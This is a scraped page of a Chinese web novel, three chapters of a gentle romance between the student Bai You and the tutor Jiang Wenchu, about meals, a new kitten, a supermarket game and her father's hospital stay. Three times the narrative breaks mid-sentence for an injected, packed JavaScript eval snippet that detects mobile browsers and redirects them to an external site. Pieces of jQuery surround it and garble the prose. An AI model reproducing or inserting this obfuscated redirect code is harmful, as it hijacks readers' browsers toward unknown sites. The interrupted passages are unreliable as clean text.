洗完澡出来，白柚被扑鼻的米香味吸引。 江文初已经做好了蛋炒饭端到了客厅，整个盘子上都微微冒着热气。 白柚收拾好内务后与江文初对坐在茶几两侧，用勺子舀起尝了一口。 她吃得津津有味，抬头却注意到江文初盘子里只有很少一点，并且她还在玩弄着手中的勺子。 “江老师，你单身吗？”白柚突兀地问，心中冒出这个念头，竟也没多想就也问了出来。 江文初眼中闪过一丝讶异，随即却悄然一笑：“嗯，单身。” 这个回答明明在白柚的意料之中，却还是让她心中竟生出一丝莫名的愉悦。 江文初问：“为什么突然打听这个？” 白柚故作夸张：“江老师要是不单身，我姐得花多少钱才能把江老师从你对象那边拐到这里来陪我？我心疼我姐的钱。” 江文初被逗乐：“那小柚就不用担心了，没多少钱的。” 白柚也笑着摇头。 她显然是不相信江文初是很便宜就能请来的，但她得到了很满意的答案，也没有再继续这个话题。 蛋炒饭本来也没多少，三两口扒拉进嘴里，白柚简单地向江文初道了谢，便刷了两人的碗又刷了牙回了房间。 躺在床上，白柚看了看时间，已接近十一点了。 今天下午体育课的时候她溜到大树背后用手机处理过工作上的事情，所以晚上没有太多事要做，只简单回复了几个Q.Q消息。 白柚处理的工作是关于她副业上。 刚进入大学的时候，白柚赶上了百合广播剧的商业化浪潮，向白允借了一点钱，成为了第一批投资人。 为了节省成本，她大多的剧都是自己进行统筹。虽然这让她平时比较忙，但几年时间下来，她赚了不少钱，也让她积累了不少经验。 不过从去年开始，这行业就有些趋于饱和了，利润不像之前那样多，有些时候还会面临比较大的亏损风险，所以白柚打算做完手里的这些，就另谋出路。 忙完工作，她想起了今晚和江文初的种种，便点开了和姜南的聊天窗口，给她发了条消息。 【Y.：江老师不仅气质美女，而且做饭超好吃，品味跟我也很契合】 很快，姜南的调侃消息就来了。 【N.：哟，前两天不是还高冷 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14785782|158034||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 得很吗】 【N.：怎么，被美女钓到了？】 【N.：不过你的口嗨我都看腻了，啥时候真准备动手了再跟我说哈】 白柚一边回看着这条消息，一边开始回顾起了自己的过往。 高考毕业那年暑假，她遭遇了一场车祸，醒来后虽然没什么大碍，但记忆比起从前差了很多，特别是以前经历的许多事情都变得模模糊糊。 她之所以能很容易就得到了不上最后两节晚自习的允许，也是因为她和班主任说了自己出过车祸，身体状况不适合高强度的学习，尤其是熬夜学习。 休学一年休养后，她重新回到学校。 这四年的大学生涯曾有不少人向她表白，男的女的都有，不乏帅哥美女，但她都统统拒绝了。 她向来对人只有单纯的欣赏——无论外貌、身材、品德还是能力，遇到好看或者欣赏的人总是会和姜南夸赞两句，但从未有过那种想要深入发展的特别的冲动。 然而，这两天江文初却令她心中产生了些微妙的波动，脑海中不自觉地浮现出她的微笑、她的温柔，再想到今晚江文初说的她还单身，心中的几分激动更甚。 就好像，江文初是她的“真命天女”。 想到这里，白柚忍不住笑了，自嘲自己的想象力太过丰富。 她摇了摇头，从床上爬起来，在衣柜里拿了一只大大的玉桂狗玩偶，抱着窝回了被窝里。 - 第二天清晨，透过窗帘的缝隙，晨光柔和地洒入房间。 白柚的闹钟在6:20准时将她唤醒。 她一般没有赖床的习惯，熟练地掐掉闹钟缓了几秒后，就睁开了眼睛。 耳边传来厨房里有意被压低的锅铲碰撞的声音。 白柚掀开被子，穿上昨晚睡前从衣柜里挑选好的衣服和袜子，塞上拖鞋走出房间。 鼻子里传来煎蛋的香气，白柚顺着香味往左边踱步过去。 江文初正在厨房忙碌，她的头发随意地挽起，几缕细发垂在耳边，整个人看起来温婉极了。 “江老师早上好。”白柚刚才步子比较轻，江文初没察觉到她过来了，于是白柚打招呼的声音也轻轻的。 闻言，江文初这才侧过身来，脸上带着温暖的微笑，柔声回应：“小柚早上好，早餐马上就好了。” “那我先去洗漱，辛苦江老师了。” 洗漱完毕，白柚走到餐桌前，江文初已经端上了两碗热气腾腾汤面。面条看起来纤细柔软，点缀着翠绿的小葱和金黄的煎蛋，散发着诱人的香气。 白柚在江文初对面坐下，两人才一齐动了筷子。 面条香气四溢，白柚吃得津津有味，突然想到什么，不由得抬头问道：“江老师，你平时也喜欢做饭吗？” “算不上喜欢，但偶尔不忙的时候会自己做，也是出国之后才学的，那边的饮食不怎么习惯。”江文初回忆，“我自己是挺喜欢吃的，不过不知道合不合你的胃口？” “当然，昨晚我还跟朋友夸赞了江老师的厨艺。” “那倒是我的荣幸了，”听到白柚这么说，江文初也顺势问起，“那小柚要是吃得惯的话，要不中午和晚上也过来吃饭吧？学校的饭菜毕竟比不上家里，我做一个人的也是做，做两个人的也是做。” 5. 猫咪 白柚顿时感到为难，虽然心中感激，但也不想总是麻烦江文初，便婉拒道：“谢谢江老师，不过每天来来回回的也挺麻烦，在学校吃方便一些。如果没吃好的话，晚上再过来麻烦江老师。” “好，”江文初目光中透露出理解，一如前两天邀请白柚同住时一样，“如果你什么时候想过来吃了，随时告诉我就行。” - 今天是星期四，午休过后下午就是理综的周考。 这是白柚的第一次理综周考，加上考的除了生物以外都还是高二尾巴的知识，就算考差了也没什么所谓，所以白柚的压力并不大。 前面一个多小时白柚按照自己的节奏分析会做的、猜测不会的，没想到在做到化学第二道大题的时候，肚子忽然开始隐隐作痛。 她试图集中注意力，可疼痛逐渐加剧。 白柚脑海中逐渐一片混乱，难以理清思路，本来就容易忘记的化学知识在她脑子里是一点都捡不起来。 没多一会儿，她额头上也开始冒出细细的汗珠。 最终，白柚跳过化学大题去把生物能做的部分填好之后，就把答题卡摆在了最上面，从后门溜去了厕所。 过了十多分钟，白柚从厕所出来还是难受得很，又去了办公室准备跟老师请假。 班主任不在办公室，生物李霞老师正在跟语文李云雪老师有说有笑的。 因为两位女老师同姓，所以班上的学生为了方便，把她们分别称作大李老师和小李老师。 两人见到白柚进来，面色苍白，满脸是汗，连忙收了话头，朝她走过去。 大李老师伸手扶了白柚，让她在就近的椅子上坐下，眼中满是关切。 小李老师也关心地问她：“白柚，怎么了？哪里不舒服？” “没事，老师，我只是肠胃有点不舒服，可能中午吃坏肚子了，想去县医院看看。”白柚努力扯出微笑。 在白柚小时候，毗县就一个县人民医院和一个中医院在当地比较有名。一般像这种要挂急诊的，大家都爱去县医院，她也就有这个习惯。 大李老师看她难受得很，也没有多问，快速给她简单写了张假条。 虽然白柚有一张长期假条，但门卫叔叔知道那是晚上八点的，她想其他时候出去，还是要单独开假条。 拿到假条后，白柚匆忙打车前往医院。 医生问了她基本情况，让她去做了一些简单的检查确认没有什么大问题后，给她开了点西药，边在电脑上操作边交代：“你这情况可能就是饮食太油腻，又稍微凉了点。你的肠胃不太好的话，平时自己注意点饮食，尽量别在外面吃。” 去药房排队拿了药，白柚就着医院热水器里的水先吃了一副，又坐在椅子上歇了一会儿。 过了一会儿，她感觉好些了，就准备回去。 白柚一手搭在腹部，走到医院门口，正准备打车，突然听到对面按了一声喇叭。 她抬头看去：一辆白色轿车停在不远处，驾驶座的窗户开着，里面坐着的人正是江文初。 白柚一看过去，江文初立刻朝她招了招手。 出于礼貌，白柚朝她点了点头，过了马路，从她车头绕到了副驾驶位置，坐了上去。 刚才从远处看白柚就觉得这个车型很是眼熟，路过车头的时候看了一下车标，上车又瞥了一眼内饰，这才确定这个车就是之前她考虑买的那辆。 只是后来因为她选择了复读就搁置了买车的事，但是这种白色扁长的小轿车车型真的很是符合白柚的胃口。 这个车品牌是德国的高端车品牌，江文初的这个车系在这个品牌中属于是比较便宜的那种，大概也就三十多万。江文初家里能供她去美国留学，家境应该也算是比较不错，买个这种车不算什么问题，白柚倒也没有太怀疑。 要是太贵的，白柚真的要猜测，江文初是不是哪家的大小姐来体验生活了。 白柚一上车，江文初就关切地问：“怎么了，身体还好吗？” “没事，就是胃有点发炎，医生说吃得有点油和凉了。” 江文初微微皱眉：“看来学校的饭菜还是不太适合你的肠胃。” 于是江文初再次向白柚发起了中午和晚饭回家吃的邀请。 “会不会太麻烦江老师了。”经过这么一遭，白柚也不敢逞强了，但还是觉得会有一些不好意思。 江文初却笑了笑：“不会，我到这里来就是专门来照顾小柚的，只要你有需要，我做什么都可以。” 做什么都可以吗…… 白柚的心突然为这句话颤了一下，可她还没来得及发散，就被后面传来的喇叭催促声打断了。 “系一下安全带。”边说着，江文初也启动了车子。 白柚将药放到腿上，拉上安全带，突然反应过来自己没和江文初说过自己来了医院：“江老师怎么知道我在这里？” “你班主任给我打的电话，说你身体不舒服请假去县医院了。”江文初说着，看了眼后视镜，打了个转向灯，“你姐姐在留家长电话的时候留了我的手机号。” 当初报道的时候白柚把家长的号码留成了白允的，没想到老师第一次“电话家访”，白允就把它改了，还没告诉过她。 不过在她身边的只有江文初，留她的号码也确实方便一些。 “你还回学校吗？”江文初问。 “回，”白柚思考了一下，“我东西都没拿，今天还考了理综，回去看看情况。” 虽说要回去，但这个点儿了还是要先吃个饭的。 江文初不了解这个地方，就将车速放缓了一点：“现在再回去做饭有点晚了，小柚知道这附近有什么清淡干净点的店吗？” 白柚印象里还真有一家味道不错的粥店，就是不知道好几年了还开着没。 她给江文初指路过去，确认了那家店还开着后，江文初就把车停到了附近的车位里。 店里的环境简约日常，以绿色调为主，空气中弥漫着各种菜香混合而成的味道。 这里的粥是自助的，白柚和江文初一人盛了一碗芹菜牛肉粥，又点了一份豆花和一份小菜拼盘，将就着吃了。 白柚回到教室时，第一节晚自习已经上了一大半了。 今天是物理晚自习，不出意外地，她走到自己的座位，就看到桌子上摆着的物理答题卡。 66分，刚好及格。 她侧身看了一眼墙上的成绩单，这分数在全校最好的班级的57人中排第37，证明这套题确实有些难度。她刚来第一周就拿到这个分数，已经是非常不错的表现了。 当然她也是有点侥幸的成份在的，懵了三道选择题就对了两个半。 将答题卡塞进书桌右侧的大空间里，她也不准备复盘，而是拿出物理《五三》按照自己的节奏走。 反正暂时也看不懂，人不能贪心，想要太多反而容易一无所获。 和班主任说明情况后，白柚签了责任书，就又获得了中午和晚上回家吃饭的特许。 接下来的两天，白柚中午和晚上都回了江文初家吃饭。 第一天中午，吃完饭后江文初不让她收拾，她就回了教室趴着睡觉。 结果这一觉醒来，手麻腿也麻，脑子也晕晕的。不过不幸中万幸的是，她没有感冒。 她轻轻挪动着被压得硬邦邦的腿，觉得这样真的不行。 第二天，她直选择留在江文初的家里午睡。 毕竟给她准备的床就在那儿，不睡纯粹是和她自己过意不去。 就这样， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14785783|158034||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 时间很快就来到了周六下午。 一中每周周六下午上完三节课就会放假，直到周天晚上再来上晚自习，进行数学周考。 这天天气清爽，阳光明媚。 一班的最后一节课是数学课，因为班上所有的科目都已经开始了一轮复习，所以白柚已经度过了课上绝大部分都听不懂的时候。 白柚心情不错，最后一节课效率很高，挑着把周末的数学作业给刷完了，还提前收拾好了东西。 一下课，她就背着包出了教室。 天气本来就热，她可不想等会儿跟大部队去挤。 下了楼梯，她掏出手机，想看看有没有新的消息。 虽然知道高三的生活比较辛苦，但昨晚她爸妈还是打了个视频来问白柚周末要不要回家，顺便关心了一下她现在的情况。 当初白柚之所以选择来这里，其中一个原因是因为她爸妈就在市区里做生意，隔了五六十公里平时不会没事儿就来找她，但要是真有点什么事大家也不至于跑太远。 当然另外一个原因就是小县城高中的管理要稍微宽松一些，对像她这样成绩突出的“特殊”学生，学校也更愿意给予一些灵活的待遇，只要能“拿出成绩说话”，带来榜样作用，适当的“特权”也能被同学们理解和接受。 白柚跟他们聊了半小时，报喜不报忧地分享了一些日常，又跟他们说刚来这周还要采购一些东西，中秋也想在附近逛逛，国庆才回去。 她爸妈又嘱咐了几句，两边才挂了电话。 倒是白允不知道是从爸妈那儿听来的还是猜到的，这会儿给白柚发消息，也没有问她回不回去的事儿。 【S.：这几天和江老师待在一起感觉怎么样】 本来白柚给白允的备注也是“Y.”，后来有一段时间她总觉得和自己昵称一样怪怪的，就改成了“S.”，算是Sister的简称。 【Y.：很和谐，江老师人挺好的】 消息刚发出去，她就想撤回，把“挺好的”改成“非常好”。 因为在校门口围着的一众接小孩儿放学的家长中，白柚看到了江文初。 江文初站在校门正对面的花台边，微微侧身朝白柚招了招手。 重要的是她手里还拎着一个猫包，里面有一只小白猫。 看到此情此景，白柚眼睛瞬间亮了起来，把刚拿出来的耳机盒又随手塞回了兜里，快步走过去。 江文初也将猫包抱了起来，放在腰前。 “江老师。”停住步子，白柚跟江文初打了声招呼，就躬下身来打量猫包里那只猫咪。 猫猫是一只几乎纯白的小布偶，只有耳朵和尾巴的地方略有一点棕色，小脸粉嫩可爱。 它还是一只小奶猫，乖乖的，安静地待在猫包里，见白柚在看她，她也歪头打量白柚。 这个动作能把人的心给萌坏了。 白柚朝它挑眉笑，过了一会儿，才抬头看向江文初：“江老师，这是？” 她眼神和语气中都满是期待。 “前两天路过宠物店的时候去逛了一圈，看到它觉得很合适，就买下来了。今天给它打完了第一针疫苗，才带回来的。”江文初的眼神落在白柚脸上，也露出温柔的笑意，“要不要抱抱它？” 白柚点头，小心翼翼地拉开拉链，伸手把小猫从猫包里抱出来。 小猫十分乖巧，被抱出来也不挣扎，在白柚怀里蜷缩着，时不时舔舔爪子，简直可爱得让人想给它亲十口。 白柚轻轻地抚摸它柔软的毛发，低声道：“江老师，它叫什么名字呀？” 说话间，两人默契地动身朝着家里走去。 “我想着叫它‘江小白’，小柚觉得怎么样？”江文初略带调侃地说，眼角还带着一丝笑意。 6. 约定 这个名字一时间让白柚有点小小的心动和遐想，又有些无措，不知道这算不算暧昧。 但仔细想来，她们才认识不过几天，要说暧昧未免也有些自作多情的嫌疑，估计江文初也就是开个玩笑。 果不其然，白柚还在思考着怎么回答，江文初就将话收了回去：“刚刚是开个玩笑，我还没想好名字，小柚要是有什么好的想法我们也可以一起讨论。” 白柚抿唇。 虽然说江文初承认是开玩笑，但她也不想浪费这个拉近距离的机会。 摸着猫猫的头，她说：“要是江老师不介意，就叫她江小白吧，挺合适的。它以后叫你麻麻，叫我姐姐。” 话音刚落，小猫奶声奶气地“喵”了一声，像是赞同了白柚的提议。 “好啊，”江文初弯了弯眉眼，“那小柚今天晚上有安排了吗？要是有时间的话，姐姐要不要和麻麻一起去给小白买点东西？我还没来得及准备什么，它现在就只有个猫窝和猫包，还有一点老板送的猫粮和猫砂。” “我国庆之前都不回家，也没有别的安排。”白柚看着江小白是越来越喜欢，抚摸着它的动作也更轻柔了些。 回到江文初的住处后，白柚又跟江小白玩儿了一小会儿，才将它放回了猫窝。 路上这一小会儿，江小白就跟白柚混熟了。刚才似乎是玩儿累了，这会儿也不闹腾，很乖巧地蜷缩在窝里，眯着眼睛准备打盹。 一人一猫在玩儿的时候，江文初就靠在沙发靠背上笑盈盈地看着他们。 转过头看见江文初眼神的这一瞬间，白柚好像真的有种这是理想中的家的感觉。 - 两人开车去了百货超市——毗县最大的生活超市——附近，找了家看着干净的小饭馆吃了个便饭，才横穿过一条小吃街进到超市里面。 说起来，白柚已经好多年没有好好逛过这种大超市了。 白允在白柚上初中的时候就去了外地上大学，平时回来得比较少，一回来也就是待上几天，还忙里忙外的，自然没什么机会去逛超市。 自从家里的生意有些起色后，它的父母也越来越忙，有时候十天半个月的不着家，白柚就丢给奶奶照看着，老人家七十多岁了，也不爱去逛这些地方。 后来白柚也渐渐习惯了这种生活，平时买点小零食或者生活用品的，都在网上买，只有个别时候比较急用的，她才会去小超市走走。 一上二楼，见到货架上琳琅满目的小商品，白柚忽然就想起了之前在视频网站上刷到的互动游戏。 她看到的时候觉得特别有意思，还转发给了白允，结果白允半玩笑地问白柚“几岁了？”。 虽然她最后还是答应了白柚，但最后两人也确实是没什么闲得的机会和兴致，后面慢慢也忘记了。 这会儿，她偏过头看了看身旁的江文初：“江老师，要不要玩个小游戏？” 闻声，江文初也朝她看过来，柔声问道：“什么游戏？” “我们每个人在这个超市里找一些商品，然后拍商品局部的照片发给对方，对方就只有这一个线索，到最后谁找到得多就算赢，谁输了谁就付钱。” 游戏的规则很简单，感兴趣的人觉得很有趣，但如果不感兴趣或许就会觉得极其无聊。 白柚摸不清江文初的想法，所以自己也没有表现出非常渴望的样子，毕竟强扭的瓜吃起来也不甜。 结果白柚这边话音刚落，江文初想都没想就答应了，还朝她挑了挑眉，有种志在必得的意思。 两人一人推了一个小推车分道扬镳，十分钟后，都收到了来自对方的八张照片。 这些照片的角度可以说得上是刁钻，有只有配料表的、有只看得到一个角的、还有的甚至只能看出个配色的…… 当然，由于两个人今天来逛超市是带了目的的，所以找起来也不算是太难。 两人都很快沉浸在游戏中，在速度上互相追赶，偶尔在微信上互相调侃几句，不知不觉间，两人的购物车里已经装满了猫粮、罐头、玩具、猫抓板等各种猫咪用品，还有两把伞。当然，江文初的购物车里先放进去的是白柚夹带私货悄悄加的一些她爱吃的零食。 不到半小时，两个人都找齐了七张照片上的东西，并获得了对方的认可。 最后两人在旺仔牛奶销售区碰了个正着，这是她们互相都给对方拍过照片的，也都选择了在最后去拿。 两人在这方面喜好上的默契让白柚有些意外又感到愉悦。 “感觉江老师的品味和我好像呢，算不算也是一种缘分。”白柚和江文初相视一笑，两人一人拿了一提旺仔牛奶放到自己的小推车里，也算是打了个平手。 江文初回她：“没有缘分的话，也不能一起养个小孩儿不是。” 她说这话时，正在挪动小推车里一些东西方便放稳这箱牛奶，没有注意到白柚看向她时睫毛颤了颤。 两人在游戏结束后，又一起逛了一圈，补充了一些刚才没考虑到的东西，才结了账。 由于今天打了个平手，让谁付钱都好像有所偏颇，所以两人合计了一下，今晚的帐算在白允头上，江文初先行垫付。于是走到结账区时，白柚又顺手往里面塞了几盒口香糖。 看着江文初一件一件拿出购物车里的东西到收银台上，白柚忍不住在心里想：要是能一直一直这样就好了，这种感觉好幸福。 不过反应过来两人现实情况的白柚皱了皱眉，心中满是无奈。 完了，被才认识四天的姐姐钓成翘嘴了。 结完账，两人搬了满满一车东西到车后座，准备打道回府。 车子快要行驶到白柚租住的小区外时，白柚抬头眺望自己住的那栋楼，略微迟疑了一下，最后还是选择开口：“江老师，能不能先在这里停一下？我想上去拿点东西。” “好。”江文初动作熟练地将车子往边上靠去。她开车很稳，不管是启动还是刹车，加速度都保持得很好，人不会有太大的晃动感。 等到车停稳，她才侧过头看向白柚：“需要帮忙吗？” 白柚握了握手机，眼神有些闪烁：“嗯……今晚可以住在江老师那边吗？我想着江小白的东西挺多的，也不能全让江老师一个人忙。我去顺便也可以陪它玩玩。” 想起前几天江文初想要邀请她住在那边的时候，自己还毫不犹豫地拒绝了；这才没过多久，就已经是轮到自己主动开口想要留宿，白柚还挺感慨的。 听到这话，江文初的笑意更浓：“当然可以。我之前说过那里是你另外一个家，指纹也录好了，你随时想去就去，不想去也不用特意跟我说。” “那辛苦江老师稍等我一下。”说完，白柚就下了车，三步并作两步朝自己的房子走去。 她没邀请江文初上去坐坐，一来是今天去江文初那边还要忙活一会儿，没什么必要耽误；二来她房间里还有不少她公司名下百合广播剧的周边没来得及收好，虽然觉得江文初是一个温柔又包容的人，但她毕竟不了解江文初，这些东西现在被她看到还是不太合时宜。 于是，她匆匆上楼，翻找出明天换洗的衣物，整理好装进了一个巨大的帆布袋里，又塞上电脑和充电器。 拿电脑时，白柚的视线落到书桌角的两个手柄上，她当初买来本来是想玩儿双人游戏，但几年过去了，还一次都没能派上用场。 想着这周末或许能和江文初一起玩，就把它们也顺便塞到了袋里。 临走时，她把所有和广播剧有关的东西都收在了最角落的柜子里。 回到江文初的小区，两人一人提了几个袋子一起回家。 白柚走在前面，就在门口搁下了袋子用指纹开了门。 她刚将门开了一条缝，就见到一团白白软软的小毛球像风一样从门口窜了出来。 江小白跑过白柚跑向她身后的江文初，毛茸茸的小爪子在地上轻轻拍打出细微的声响，眨眼间便扑到了江文初的脚边，仰着头，用湿润的小鼻子轻轻碰了碰她的鞋尖，嘴里还发出轻轻的“喵”声，像是在撒娇。 江文初还拎着东西，白柚便跟着过去将江小白抱了起来，边摸它边给她讲道理：“麻麻现在不方便，等会儿再跟你玩儿。还有，下次不要跑这么快窜出来了，小心摔着，跑丢了我们上哪儿找你去，你说是不是呀？” 回答她的，是江小白一声萌萌的“喵”和江文初的一声轻笑。 江文初一笑，白柚就有些不好意思了，这才意识到自己这个行为看起来有些傻傻的。 她连忙腾出一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14785784|158034||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 只手将门推开：“江老师先进去吧，东西重。” 说着，她先一步进门将江小白放了回去，才折返回去将东西也一并搬了进来。 两人在整理今天买的东西时，江小白就乖巧地趴在沙发一边的扶手上看着她们。 白柚路过时看见江小白微微翘起头，就会伸手轻轻挠挠她的下巴。 “江老师，她真的好可爱。”又一次被江小白的“夹子音”萌到时，白柚忍不住感慨。 正在将江小白和白柚的零食分门别类地放在客厅那个原本空无一物的柜子上的江文初闻言朝一人一猫看去：“你们一样可爱。” 江文初的这句话让白柚觉得心里像是被拨动了什么，暖意蔓延开来。 她不是那种长相和行为可爱的人……相反，很多人还会觉得她有点冷冷的。自从上中学过后，除了白允以外，还没有人用可爱来形容过她。当然，她也很少会用可爱去夸别人，所以在她的思维里，这个词有些暧暧昧昧的。 江文初随口说完那句“撩人不自知”的话后，便继续专注地整理东西。 她将江小白的猫粮和猫砂整齐地收纳在最下面带门的柜子里；紧挨着的抽屉中，则放满了猫条、罐头等小零食；至于白柚的零食和牛奶，则特意摆放在上层半开的横柜里，方便随手取用。 做完这些，江文初一回头，就看到白柚手里拿着逗猫棒，轻轻地晃动着毛绒尾巴。 江小白趴在不远处，蓝色的大眼睛专注地盯着她手中的逗猫棒，身体微微向下压，后腿弓起，随时准备扑过去。 随即，江小白尾巴轻轻摆动，猛地扑了过去，粉嫩的小爪子拍打在逗猫棒上。 但白柚很快又把逗猫棒移开了，导致江小白扑了个空，跌坐在地上，然后又迅速站起来，继续追逐。 见状，江文初也拿了另外一根逗猫棒加入了白柚。 玩了一会儿，江小白有些累了，趴在地板上呼呼喘气，蓝色的大眼睛眨巴着看着白柚和江文初。 江文初将它抱在怀里，江小白便舒适地蜷缩起来，闭上眼睛，发出呼噜声。 白柚顺手摸了摸江小白的头，和江文初说了一声，就继续去整理还剩的一点东西。 临近睡前，江文初倚在白柚房间门口：“小柚，你明天是打算学习，还是放松一下？” 白柚将电蚊香关上，抬头看向她，想了想：“我想明天早上应该会整理一下最近学的东西，挑一些作业来做一下，下午没什么意外的话准备休息一下。” 想到今天拿过来的手柄，白柚又问：“江老师对双人游戏感兴趣吗？如果有兴趣的话，下午我们可以一起玩儿一会儿。” 江文初脸上浮起了笑意。 “嗯，可以。不过我不太擅长，明天你可不要欺负我。”这“欺负”两字咬了重音，让白柚不争气地想到了别的地方去。 白柚感觉自己的耳朵有些发热，她连忙将自己的注意力转移：“没关系，我们可以玩儿合作类的游戏。像是胡闹厨房，江老师之前玩儿过吗？” “没有，但是有刷到过别人发视频，还挺有意思的。”江文初略微思索，“我还看他们说，这个游戏别称‘分手厨房’，好多情侣玩着玩着就会吵起来。” 白柚自然也是知道这个事，但是她向来玩儿游戏都当做是消遣，以开心为主，并不是很在乎结果。而江文初看起来也不会是为了游戏能着急得和别人吵起来的人，所以两人应该会比较和谐。 “有的人会……” 白柚刚一开口，就听见江文初同时响起的声音：“没关系，我们也没有手可分。” - 第二天清晨，白柚被闹钟叫起来，换好衣服理好被子后就抱着电脑和手柄走出房间放到了茶几上。 她环顾了一圈，却没看到江文初的身影，以为是她还没起，就去了卫生间洗漱。 倒是江小白看见她出来，迈着小步也跟了过去，在卫生间门口蹲着守着她。 洗漱完毕，白柚清醒了不少，她抱起门口的江小白，摸摸她的头，想去书房背会儿英语单词，这才发现江文初的房间门敞开着，床上干净整洁，早已没了房间主人的身影。 稍稍疑惑之余，她试探性地喊了一声“江老师”，意料之内地没有回应。 7. 游戏 她回头往厨房那边走去，路过餐桌，看到一瓶旺仔牛奶和面包放在餐桌上，牛奶罐下面还压着一张纸条。昨天白柚没买面包，这应该是江文初出门给她带回来才又出去的。 白柚走过去，腾出一只手将纸条抽出来，上面简洁地写着：家里有事，我回去一趟，晚上回来。 相比于之前看过的江文初写的英文，她中文的字迹更显清秀，带着一种自然的柔美，但每一笔都写得果断有力，毫不拖泥带水。 好看归好看，白柚看着那张纸条，心里难免失落。 她将纸条放回餐桌上，又摸了摸江小白的下巴，跟她嘟囔：“江小白，才第二天麻麻就不要我们了，她是不是好狠心呐？” 同时，她也在心中默默自嘲：好像自己对江文初还了解得太少，才认识几天而已，又在期待些什么呢？ 不过虽然话是这么说，白柚和江小白玩儿了一会儿后，还是给江文初发了个微信。 【Y.：我醒了，江老师路上注意安全】 坐回餐桌上，白柚这才发现旺仔还是温热的，看来江文初应该刚出发没有太长时间。 而此时，江文初正坐在驾驶座上，双手稳稳地握住方向盘，目光凝视前方。 因为今天是周末，又是早上，一路上车辆并不多，但她的神色里还是隐约透露着一丝担忧。 她缓缓叹了口气，打开音乐，加快了一些车速。 一个小时出头，她就到了市区的医院，找到了江晟住的病房。 病房的门被轻轻推开，阳光透过窗户洒在床上，映得床上人的面庞更加苍白。 江文初进门时，江晟正呆呆地望着天花板，眼神空洞，如果没有人主动介绍，任谁见了也不会想到他在几个月前还是一个在商界进退有度、游刃有余的商业大亨。 听到脚步声，江晟有些吃力地偏了偏头，目光缓缓移动，视线落在了江文初身上，嘴角扯动了一下，喃喃道：“小云……你来啦？” 宋若云，是江文初已故母亲的名字。 江文初微微怔住，片刻后露出了一抹温和的笑意，快步走到床边，俯下身子握住了江晟的手，柔声道：“爸，是我，文初。” 听了这话，江晟的眼睛眨了眨，似乎还在试图辨认她，又想说些什么。可最终他却只是闭上了眼睛，低低地叹了一声：“好，好……” “没事的爸，您先好好休息，不着急想这些，”江文初的目光中闪过一丝心疼，但她依旧温柔地安抚着江晟，“不用担心，一切都会慢慢好起来的。” 说完，见江晟没有睁眼与她继续说话的意思，江文初将被子拉好，又听来换药的护士交代了几句注意事项，才悄然退出了病房。 她深吸一口气，调整好情绪，转身往走廊尽头的等候区走去。 那里坐着一个中年男人，穿着深色衬衫，神情有些疲惫，但眉宇间透露出沉稳和坚毅。 他是江家的管家江德，跟随江晟多年，可以说是江晟最信任的心腹之人。 “叔叔。”江文初走近，和他打了个招呼。由着他和江晟有一层远方堂亲的关系，所以从小到大江文初也尊称他一声叔叔。 抬头看到江文初，江德旋即站起身来，露出一丝宽慰的笑容：“文初来了。看过你爸爸了？” 江文初点了点头：“医生怎么说？” “医生说人虽然醒了，但还需要长期的康复治疗，结果也未必乐观。”说着，江德叹了口气，“虽然要恢复到能完全自理的程度不太容易，但要恢复意识应该只是时间的问题。” 不过严重的脑溢血能获得及时抢救，保住一条命，还在这么快时间醒了过来，已经算是一个奇迹了。 江文初闻言，脸色一沉，但很快调整了情绪。她抿了抿唇：“叔叔，我打算申请我爸的监护权，方便更好地照顾他。” 江德愣了一下，随即也点点头：“你是他唯一的女儿，这也最合适。后续我联系律师问问，再给你回消息。” 说完，他顿了顿，朝江文初那边靠了一些，压低声音：“文初，上次我和你提过关于你妈妈车祸的事情，我最近做了一些调查，但暂时还没什么突破性的进展。” “您现在掌握了什么线索吗？”江文初的眉头微微蹙起，眼中透出一丝冷静的锐利。 江德往后退了半步，叹了口气，皱着眉说道：“找到一个证人提到车祸当天，他确实有些异常的举动，但没有实质性的证据能证明他和那次车祸有关。我试图根据证人说的部分进行追查，但那时候的事已经过去太久了，不是那么容易。” 江文初沉默了片刻，再开口时语气冰冷却坚决：“叔叔，不管多难，请您一定帮我继续查下去。” 江德点了点头，语气里带着慎重：“文初，我会尽力去查。但你也要做好心理准备，也许这个过程会很漫长，而且真相未必是你能接受的。” “我明白，哪怕真相是残酷的，我也必须知道。”江文初深吸了一口气，抬起头，“这是我欠我妈的。” 江德拍了拍她的肩膀：“别担心，咱们一起把事情处理好。” 两人又简单聊了几句，江文初把注意事项转告给江德，看了看时间，便回到病房跟江晟告辞，离开了医院。 她驾车回家的时候，阳光已经逐渐灼热起来，透过车窗照进车内，有些晃眼。 江文初的车速也不由地放慢了些。 